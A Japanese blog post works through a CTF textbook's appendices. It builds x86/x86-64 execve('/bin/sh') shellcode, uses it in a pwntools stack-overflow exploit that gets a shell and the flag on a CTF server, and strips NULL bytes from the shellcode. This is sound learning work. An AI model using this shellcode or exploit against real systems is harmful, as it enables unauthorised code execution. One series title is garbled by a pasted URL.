以下の内容はhttps://daisuke20240310.hatenablog.com/entry/chgbook2より取得しました。


セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った

前回 は、「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」の「Part2 pwn」を読んで、実際に動かしてみました。だいぶ時間がかかりましたが、とても勉強になりました。

今回は、「セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」の付録を読んでいきます。付録は 2つあって、1つは、Part 1(1章)の「バイナリ解析」の付録で、もう 1つは、Part 2(2章)の「pwn」の付録です。今回は、この 2つの付録について見ていきます。

それでは、やっていきます。

参考文献

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った ← 今回

セキュリティコンテストチャレンジブックのサポートサイトは以下です。ここで、ソースコードや、書籍には載っていない付録が、2つダウンロードできます。

付録は、以下の2つです。とてもいい内容でした。ただ、Part2 はリンクがおかしくなっていました。Part1 と同じディレクトリにあったので、Part1 の付録の URL をブラウザに入力した後、ファイル名だけ、「02章付録.pdf」に差し替えるとダウンロードできます。

  • Part1 バイナリ解析:付録「バイナリ解析に関するTIPS」
  • Part2 Pwn:付録「シェルコード」

book.mynavi.jp

それでは、やっていきます。

Part1 バイナリ解析:付録「バイナリ解析に関するTIPS」

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方」(以下、参考文献)の Part1 のバイナリ解析についての付録です。参考文献の Part1 では、最初に導入があり、ツールの紹介、その後、表層解析、静的解析、動的解析の順に解説がなされています。付録では、書籍に載っていない実用的なトピックについて書かれています。

付録1.1 解析妨害手法の特定と妨害の回避

バイナリファイルを解析する際に、解析させないための妨害がされている場合があります。

ここでは、静的解析における妨害として、パッカーというバイナリが実行可能な状態のまま圧縮するソフトウェアの紹介と、動的解析におけるデバッガで実行中であることを検出する手段が紹介されていて、その回避方法について説明されています。

1点目のパッカーについては、実際のファイルが紹介されているわけではなく、パッカーの仕組みと、その回避方法として、upxコマンドを使ったアンパックの方法が書かれています。

2点目のデバッグ実行時の検出方法として、Win32 API の「IsDebuggerPresent」という関数と、もう 1つも Windows の PEB構造体の「NtGlobalFlags」というメンバ変数を見ることを説明されています。

2点目については、Linux についても紹介してほしかったです。

付録1.2 バイトコードの解析

バイトコードとは、仮想マシン(Java VM など)上で実行するために設計された中間コードのことです。

ここでは、.NET Framework と、Java(Android の APKファイル) について、逆コンパイルする方法について説明しています。

まず、.NET の場合、fileコマンドにより、PE形式ということと、.NET という記述が出るので、すぐにそれだと分かります。逆コンパイルするには、 ILSpy というソフトウェアを使います。以前、setodaNote CTF Exhibition の問題で、C# っぽかったので、この ILSpy で逆コンパイルして、解いたことがあります。

次に、APKファイルの場合です。fileコマンドを使用すると、Java Jar file(ZIP)と出力されるので、圧縮ファイルということがすぐに分かります。まずは、解凍して、その中の classes.dex というファイルがバイトコードを格納しているファイルになります。この DEXファイルを classファイルに変換するツールが「dex2jar」です。classファイルを逆コンパイルするには、「jd-gui」というソフトを使います。

これで静的解析が可能になります。

付録1.3 x86/x64以外のアーキテクチャを読み解くには

静的解析で使用する IDA Pro は多くのアーキテクチャに対応しているが、非常に高価であり、フリー版の IDA Demo や、IDA Free は、x86 にしか対応していません。他のアーキテクチャの場合に使用するツールとして、radare2 が紹介されています(この時期には、まだ Ghidra はリリースされてなかった)。

radare2 でも対応していないアーキテクチャの場合、objdump をそのアーキテクチャでビルドして使う方法が紹介されています。

付録1.4 バイナリ問題を解くためのプログラミング技法

バイナリ問題を解くために使用するプログラミング言語として、Python を推奨しています。また、Python から C言語の共有ライブラリを呼び出す方法と実装について説明されています。

以下は、Python から libc の標準関数を呼び出す実装です。

import ctypes

libc = ctypes.cdll.LoadLibrary( '/lib/x86_64-linux-gnu/libc.so.6' )

libc.srand( libc.time(0) )

print( libc.rand() )

実行してみます。正しく実行できたようです。

$ python ../../../../python/exec_ctypes.py
1097912538

Part2 pwn:付録「シェルコード」

参考文献の Part2 pwn についての付録です。Part2 pwn については、以下の前回の記事で紹介しました。

daisuke20240310.hatenablog.com

また、以前、ARM64 で動作するシェルコードを作った記事が以下の 2つです。

daisuke20240310.hatenablog.com

daisuke20240310.hatenablog.com

また、setodaNote CTF Exhibition の pwn問題の最後の問題で、シェルコードを用意する必要がありました。ここで作ったシェルコードを使って解きたいと思います。

daisuke20240310.hatenablog.com

付録2.1 シェルコードとは

シェルコードは、自分で書かなくても、"shlellcode" で検索すると、シェルを起動するシェルコードや、特定の IPポートに接続してシェルを立ち上げるシェルコードなど、多くのシェルコードを入手することが出来るそうです。

付録2.2 シェルコードの基礎知識

アセンブルするツールは、GNU Assembler(GAS)と、Netwide Assembler(NASM)の 2つが有名で、ここでは、Intel記法を採用している NASM を使います。

システムコールの呼び出し規約をまとめています。

アーキテクチャ 命令 番号 第1引数 第2引数 第3引数 第4引数 第5引数 第6引数
x86 int 0x80 eax ebx ecx edx esi edi ebp
x86-64 syscall RAX RDI RSI RDX r10 r8 r9

付録2.2 シェルコードを書いてみる

付録では、x86 のシェルコードの実装と、その実装を小さくする手法を説明してくれていますが、setodaNote CTF Exhibition の Pwn問題で必要なのは、x86-64 のシェルコードの実装です。まず、x86 のシェルコードを実装した後、x86-64 のシェルコードの実装も行いたいと思います。

x86のシェルコードの実装

以下は、付録に掲載されているシェルコードです。

先頭の BITS 32 は、32bitモードでアセンブルするという意味で、global は外部に公開するシンボルを宣言しています。eax に設定している 11 は、execve関数の番号です(x86 は 11 で、x86-64 は 59)。

execve関数は、現在のプロセスを終了させて、新しいプログラムをそのプロセスのアドレス空間で実行します(プログラムを置き換える感じ)。3つの引数を持ち、第1引数は実行するプログラムのパス、第2引数はそのプログラムに与える引数、第3引数は環境変数を指定する文字列配列です。第2引数と第3引数は NULLポインタでも動作すると、説明されていました。

db は、変数の初期化命令です。db は 1byte、dw は 2byte、dd は 4byte のサイズです。オペランドにカンマ区切りで複数の内容を定義できます。/bin/sh という文字列とNULL文字を定義しています。

call setebx でジャンプするとき、リターンアドレスとして、次の命令のアドレスをスタックに push します。これを pop することにより、第1引数の /bin/sh のアドレスを設定しています。よくできてますね。

BITS 32
global _start

_start:
    mov eax, 11
    jmp buf

setebx:
    pop ebx
    mov ecx, 0
    mov edx, 0
    int 0x80

buf:
    call setebx
    db '/bin/sh', 0

では、nasm で、アセンブルします。また、ndisasm で、逆アセンブルをして、あと、シェルコードのサイズも確認しておきます。33byte でした。

$ nasm -o shellcode_x86.bin shellcode_x86.s

$ ndisasm -b 32 shellcode_x86.bin
00000000  B80B000000        mov eax,0xb
00000005  EB0D              jmp short 0x14
00000007  5B                pop ebx
00000008  B900000000        mov ecx,0x0
0000000D  BA00000000        mov edx,0x0
00000012  CD80              int 0x80
00000014  E8EEFFFFFF        call 0x7
00000019  2F                das
0000001A  62696E            bound ebp,[ecx+0x6e]
0000001D  2F                das
0000001E  7368              jnc 0x88
00000020  00                db 0x00

$ wc -c shellcode_x86.bin
33 shellcode_x86.bin

では、動作を確認します。

まず、アセンブルで Linux の a.out 形式で出力します(オブジェクト形式、.o のファイルが出力される)。それから、リンカを実行して、実行形式のファイルを作ります。

付録に書かれた通りに実行しましたが、エラーが出ます。9年前なので、変わってるのかもしれません。

$ nasm -f aout shellcode_x86.s

$ ld -m elf_i386 shellcode_x86.o
shellcode_x86.o: file not recognized: file format not recognized

調べた結果、以下でうまくいきました。分かりにくいですが、シェルコードを実行すると、シェルが起動して、lsコマンドが実行できています。

$ nasm -f elf32 shellcode_x86.s

$ file shellcode_x86.o
shellcode_x86.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

$ ld -m elf_i386 -o shellcode_x86.out shellcode_x86.o

$ ./shellcode_x86.out
$ ls
shellcode_x86.bin  shellcode_x86.o  shellcode_x86.out  shellcode_x86.s
$ exit
x86-64のシェルコードの実装

同じ要領で、x86-64 のシェルコードの実装と動作確認を行っていきます。

実装は、レジスタ名を変えたぐらいです。

BITS 64
global _start

_start:
    mov rax, 59
    jmp buf

setebx:
    pop rdi
    mov rsi, 0
    mov rdx, 0
    syscall

buf:
    call setebx
    db '/bin/sh', 0

アセンブル、動作確認まで一気にやります。

出来たようです!

$ nasm -o shellcode_x86-64.bin shellcode_x86-64.s

$ ndisasm -b 64 shellcode_x86-64.bin
00000000  B83B000000        mov eax,0x3b
00000005  EB0D              jmp short 0x14
00000007  5F                pop rdi
00000008  BE00000000        mov esi,0x0
0000000D  BA00000000        mov edx,0x0
00000012  0F05              syscall
00000014  E8EEFFFFFF        call 0x7
00000019  2F                db 0x2f
0000001A  62                db 0x62
0000001B  69                db 0x69
0000001C  6E                outsb
0000001D  2F                db 0x2f
0000001E  7368              jnc 0x88
00000020  00                db 0x00

$ wc -c shellcode_x86-64.bin
33 shellcode_x86-64.bin

$ file shellcode_x86-64.bin
shellcode_x86-64.bin: data

$ nasm -f elf64 shellcode_x86-64.s

$ file shellcode_x86-64.o
shellcode_x86-64.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

$ ld -m elf_x86_64 -o shellcode_x86-64.out shellcode_x86-64.o

$ ./shellcode_x86-64.out
$ ls
shellcode_x86-64.bin  shellcode_x86-64.out  shellcode_x86.bin  shellcode_x86.out
shellcode_x86-64.o    shellcode_x86-64.s    shellcode_x86.o    shellcode_x86.s
$ exit

付録には、実際にシェルコードを使うところまでは書かれていませんでした。setodaNote CTF Exhibition の Pwn問題で動作確認したいと思います。

PwnのShellcode問題
PwnのShellcode問題

setodaNote CTF Exhibition の Pwn の Shellcode問題は、サーバアクセスとローカルファイルがあります。

まず、表層解析です。strip されてなくて、スタック実行が許可されてます。target と書かれたアドレスは、毎回変化しています。

$ file shellcode
shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped

$ ../../../tools/checksec.sh-2.7.1/checksec --file=./shellcode
RELRO           STACK CANARY      NX            PIE          RPATH      RUNPATH      Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   PIE enabled  No RPATH   No RUNPATH   68 Symbols  No       0          1            ./shellcode

$ ./shellcode
       |
target | [0x7ffdb96913f0]
       |
Well. Ready for the shellcode?
> aa
aa

Ghidra で見てみます。main関数だけのようです。秘密の関数も特にありません。

なるほど、スタックの配列の先頭アドレスが表示されているということですね。ASLR が有効ですが、アドレスを表示してくれているので、それを使えばリターンアドレスを上書きできそうです。

undefined8 main(void)
{
  char local_58 [80];
  
  setvbuf(stdout,local_58,2,0x50);
  puts("       |");
  printf("target | [%p]\n",local_58);
  puts("       |");
  printf("Well. Ready for the shellcode?\n> ");
  __isoc99_scanf("%[^\n]",local_58);
  puts(local_58);
  return 0;
}

表示されたアドレスを使って、リターンアドレスの格納されているアドレスを計算する必要があるので、コマンドラインでは難しい(> のところでバイナリを入力できないため)ので、pwntools を使って、エクスプロイトコードを書いていきます。

GDB の pattern を使って、スタックの配列(local_58)の先頭から、main関数のリターンアドレスまでのアドレスの差分を求めておきます。

アドレスの差分は、88byte ということが分かりました。

$ gdb -q shellcode

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
       |
target | [0x7fffffffe1b0]
       |
Well. Ready for the shellcode?
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe318 --> 0x7fffffffe599 ("/home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode")
RCX: 0x7ffff7ec1240 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7f9da10 --> 0x0
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffe208 ("AAKAAgAA6AAL")
RIP: 0x5555555551f5 (<main+144>:        ret)
R8 : 0x0
R9 : 0x7ffff7f9ba80 --> 0xfbad2288
R10: 0xffffffff
R11: 0x202
R12: 0x0
R13: 0x7fffffffe328 --> 0x7fffffffe5cf ("SHELL=/bin/bash")
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555551ea <main+133>:   call   0x555555555030 <puts@plt>
   0x5555555551ef <main+138>:   mov    eax,0x0
   0x5555555551f4 <main+143>:   leave
=> 0x5555555551f5 <main+144>:   ret
   0x5555555551f6:      cs nop WORD PTR [rax+rax*1+0x0]
   0x555555555200 <__libc_csu_init>:    push   r15
   0x555555555202 <__libc_csu_init+2>:  lea    r15,[rip+0x2bdf]        # 0x555555557de8
   0x555555555209 <__libc_csu_init+9>:  push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("AAKAAgAA6AAL")
0008| 0x7fffffffe210 --> 0x4c414136 ('6AAL')
0016| 0x7fffffffe218 --> 0x555555555165 (<main>:        push   rbp)
0024| 0x7fffffffe220 --> 0x100000000
0032| 0x7fffffffe228 --> 0x7fffffffe318 --> 0x7fffffffe599 ("/home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode")
0040| 0x7fffffffe230 --> 0x7fffffffe318 --> 0x7fffffffe599 ("/home/user/svn/experiment/setodaNoteCTF/Pwn/shellcode")
0048| 0x7fffffffe238 --> 0x8a1fede9d50fe8d1
0056| 0x7fffffffe240 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555551f5 in main ()
gdb-peda$ patto AAKAAgAA6AAL
AAKAAgAA6AAL found at offset: 88

実装したエクスプロイトコードです。

import os, sys
from pwn import *

#adrs, port = '127.0.0.1', 9999
adrs, port = "nc.ctf.setodanote.net", 26503

# サーバに接続
proc = remote( adrs, port )

while True:
    ret = proc.recvline()
    ret = ret.decode( 'utf-8' )
    if '[' in ret:
        break

adrs = ret[ ret.find('[')+1:ret.find(']') ]
logging.debug( f"adrs={adrs}" )

ret = proc.recv( timeout=1 )

adrs = int( adrs, base=16 )

buf = b'\xB8\x3B\x00\x00\x00\xEB\x0D\x5F\xBE\x00\x00\x00\x00\xBA\x00\x00\x00\x00\x0F\x05\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x00'
buf += b'A' * (88 - len(buf))
buf += p64( adrs )

proc.sendline( buf )

proc.interactive()

実行してみます。

無事にフラグをゲットできました!

$ python tmp.py
[+] Opening connection to nc.ctf.setodanote.net on port 26503: Done
[*] Switching to interactive mode
INFO:pwnlib.tubes.remote.remote.140495907052240:Switching to interactive mode
\xb8;
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ find home -name '*flag*'
home/user/flag
$ cat home/user/flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
2024/12/30追記:シェルコード内のNULL文字の問題

上のように、結果としてうまくいったのですが、「書籍「セキュリティコンテストのためのCTF問題集」を読んだ - 土日の勉強ノート」を書いたときに、scanf関数の場合は、シェルコードに、NULL文字、スペース、改行文字が含まれていると、入力の途中で終端だと認識されてしまい、シェルコードを全て読んでくれない、という結果になるんじゃないか、という疑問が生まれました。

今、見返してみても、少なくとも NULL文字は含まれていそうです。上では、うまく動作したように見えたので、デバッグは行わなかったのですが、ここで gdb を使って確認したいと思います。

エクスプロイトコードのデバッグを行うには、ローカルのプログラムの場合は、proc = process( './shellcode' ) と書く代わりに、proc = gdb.debug( './shellcode' ) とすると、gdb でデバッグできるそうです。リモートの場合も同じようにデバッグできるかどうかは分かりません。ということで、以下のように、ローカルのプログラムに対しても実行できるように、最初の方を少しだけエクスプロイトコードを書き換えました。

import os, sys
from pwn import *

context(os = 'linux', arch = 'amd64')

if False:
    # $ socat tcp-listen:9999,reuseaddr,fork, EXEC:"./shellcode"
    
    adrs, port = '127.0.0.1', 9999
    #adrs, port = "nc.ctf.setodanote.net", 26503
    
    # サーバに接続
    proc = remote( adrs, port )

else:
    proc = gdb.debug( './shellcode' )
    #proc = process( './shellcode' )

while True:
    ret = proc.recvline()
    ret = ret.decode( 'utf-8' )
    if '[' in ret:
        break

adrs = ret[ ret.find('[')+1:ret.find(']') ]
logging.debug( f"adrs={adrs}" )

ret = proc.recv( timeout=1 )

adrs = int( adrs, base=16 )

buf = b'\xB8\x3B\x00\x00\x00\xEB\x0D\x5F\xBE\x00\x00\x00\x00\xBA\x00\x00\x00\x00\x0F\x05\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x00'
buf += b'A' * (88 - len(buf))
buf += p64( adrs )

proc.sendline( buf )

proc.interactive()

早速実行してみます。TeraTerm などでは実行できませんでした。GUI のターミナルで実行すると gdb が起動できます。scanf関数の実行が完了したところまで進めます。

スタックには、シェルコードと A が、NULL文字も含めて、埋められています。

scanf関数を実行した直後
scanf関数を実行した直後

調べたところ、scanf関数に指定している "%[^\n]" が原因でした。改行文字以外は全て入力として受け付けるという指定がされていたから、というオチでした。

ちゃんと調べていなかったのが良くなかったですね。また、今回のように NULL文字を許容してくれているから問題は起きませんでしたが、本来は、NULL文字が使われないようにシェルコードを作る必要があると思います。

2024/12/31追記:シェルコードからNULL文字を除去する

今回の問題では、上のように、シェルコードに NULL文字を含んでいても正しく動作するようにされていましたが、NULL文字を含まないシェルコードを求められる問題もあります。ここで、シェルコードから NULL文字、改行文字、スペースを取り除いていきたいと思います。

現状の x86-64用のシェルコードを再掲します。

BITS 64
global _start

_start:
    mov rax, 59
    jmp buf

setebx:
    pop rdi
    mov rsi, 0
    mov rdx, 0
    syscall

buf:
    call setebx
    db '/bin/sh', 0

また、このコードの逆アセンブラを再掲します。

$ nasm -o shellcode_x86-64_nNULL.bin shellcode_x86-64_nNULL.s

$ ndisasm -b 64 shellcode_x86-64_nNULL.bin
00000000  B83B000000        mov eax,0x3b
00000005  EB0D              jmp short 0x14
00000007  5F                pop rdi
00000008  BE00000000        mov esi,0x0
0000000D  BA00000000        mov edx,0x0
00000012  0F05              syscall
00000014  E8EEFFFFFF        call 0x7
00000019  2F                db 0x2f
0000001A  62                db 0x62
0000001B  69                db 0x69
0000001C  6E                outsb
0000001D  2F                db 0x2f
0000001E  7368              jnc 0x88
00000020  00                db 0x00

$ wc -c shellcode_x86-64_nNULL.bin
33 shellcode_x86-64_nNULL.bin

NULL文字は、最初のアドレス 0x00 と、0x08、0x0D、0x20 の 4か所です。0x08 と 0x0D は付録にも書かれている通り、xor を使えば解決できそうです。まずは、この 2か所について改善してみます。

$ diff -u shellcode_x86-64.s shellcode_x86-64_nNULL.s
--- shellcode_x86-64.s  2024-09-29 22:08:32.986503197 +0900
+++ shellcode_x86-64_nNULL.s    2024-12-30 23:00:53.451667673 +0900
@@ -7,8 +7,8 @@

 setebx:
        pop rdi
-       mov rsi, 0
-       mov rdx, 0
+       xor rsi, rsi
+       xor rdx, rdx
        syscall

 buf:

アセンブルしてみます。番地は変わりましたが、2か所の NULL文字は改善できたようです。シェルコードとしても、33byte から 29byte に圧縮することが出来ました。

$ nasm -o shellcode_x86-64_nNULL.bin shellcode_x86-64_nNULL.s

$ ndisasm -b 64 shellcode_x86-64_nNULL.bin
00000000  B83B000000        mov eax,0x3b
00000005  EB09              jmp short 0x10
00000007  5F                pop rdi
00000008  4831F6            xor rsi,rsi
0000000B  4831D2            xor rdx,rdx
0000000E  0F05              syscall
00000010  E8F2FFFFFF        call 0x7
00000015  2F                db 0x2f
00000016  62                db 0x62
00000017  69                db 0x69
00000018  6E                outsb
00000019  2F                db 0x2f
0000001A  7368              jnc 0x84
0000001C  00                db 0x00

$ wc -c shellcode_x86-64_nNULL.bin
29 shellcode_x86-64_nNULL.bin

次に、先頭の mov eax,0x3b を改善します。こちらは、いったん、xor でゼロクリアした後、1byteアクセスで 59 をセットするという 2段階で行います。

$ diff -u shellcode_x86-64_nNULL_tmp.s shellcode_x86-64_nNULL.s
--- shellcode_x86-64_nNULL_tmp.s        2024-12-31 15:26:17.476947320 +0900
+++ shellcode_x86-64_nNULL.s    2024-12-31 15:24:43.693416910 +0900
@@ -2,7 +2,8 @@
 global _start

 _start:
-       mov rax, 59
+       xor rax, rax
+       mov al, 59
        jmp buf

 setebx:

アセンブルします。先頭の NULL文字を改善できました。シェルコードのサイズとしては、29byte のままでした。

$ nasm -o shellcode_x86-64_nNULL.bin shellcode_x86-64_nNULL.s

$ ndisasm -b 64 shellcode_x86-64_nNULL.bin
00000000  4831C0            xor rax,rax
00000003  B03B              mov al,0x3b
00000005  EB09              jmp short 0x10
00000007  5F                pop rdi
00000008  4831F6            xor rsi,rsi
0000000B  4831D2            xor rdx,rdx
0000000E  0F05              syscall
00000010  E8F2FFFFFF        call 0x7
00000015  2F                db 0x2f
00000016  62                db 0x62
00000017  69                db 0x69
00000018  6E                outsb
00000019  2F                db 0x2f
0000001A  7368              jnc 0x84
0000001C  00                db 0x00

$ wc -c shellcode_x86-64_nNULL.bin
29 shellcode_x86-64_nNULL.bin

これで目標にしていた NULL文字の除去は達成できました。setodaNote CTF Exhibition の Pwn の Shellcode問題では、NULL文字の除去の効果は確認できませんが、動作確認だけでも行っておきます。

改変したエクスプロイトコードです。シェルコードを置き換えたのと、gdb.debug を無効にして、process() を有効にしたぐらいです。

import os, sys
from pwn import *

context(os = 'linux', arch = 'amd64')

if False:
    # $ socat tcp-listen:9999,reuseaddr,fork, EXEC:"./shellcode"
    
    adrs, port = '127.0.0.1', 9999
    #adrs, port = "nc.ctf.setodanote.net", 26503
    
    # サーバに接続
    proc = remote( adrs, port )

else:
    #proc = gdb.debug( './shellcode' )
    proc = process( './shellcode' )

while True:
    ret = proc.recvline()
    ret = ret.decode( 'utf-8' )
    if '[' in ret:
        break

adrs = ret[ ret.find('[')+1:ret.find(']') ]
logging.debug( f"adrs={adrs}" )

ret = proc.recv( timeout=1 )

adrs = int( adrs, base=16 )

buf = b'\x48\x31\xC0\xB0\x3B\xEB\x09\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05\xE8\xF2\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x00'
buf += b'A' * (88 - len(buf))
buf += p64( adrs )

proc.sendline( buf )

proc.interactive()

実行してみます。問題ないようです。

$ python tmp_nNULL.py
[+] Starting local process './shellcode': pid 80661
[*] Switching to interactive mode
INFO:pwnlib.tubes.process.process.140151917708880:Switching to interactive mode
H1\xc0\xb0;\xeb _H1\xf6H1\xd2\x0f\x05\xe8\xf2\xff\xff\xff/bin/sh

$ ls
shellcode  tmp.py  tmp_nNULL.py

おわりに

今回は、セキュリティコンテストチャレンジブックの付録を実践してみました。

最後は、作ったシェルコードで、setodaNote CTF Exhibition の Pwn問題も解けました。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/chgbook2より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14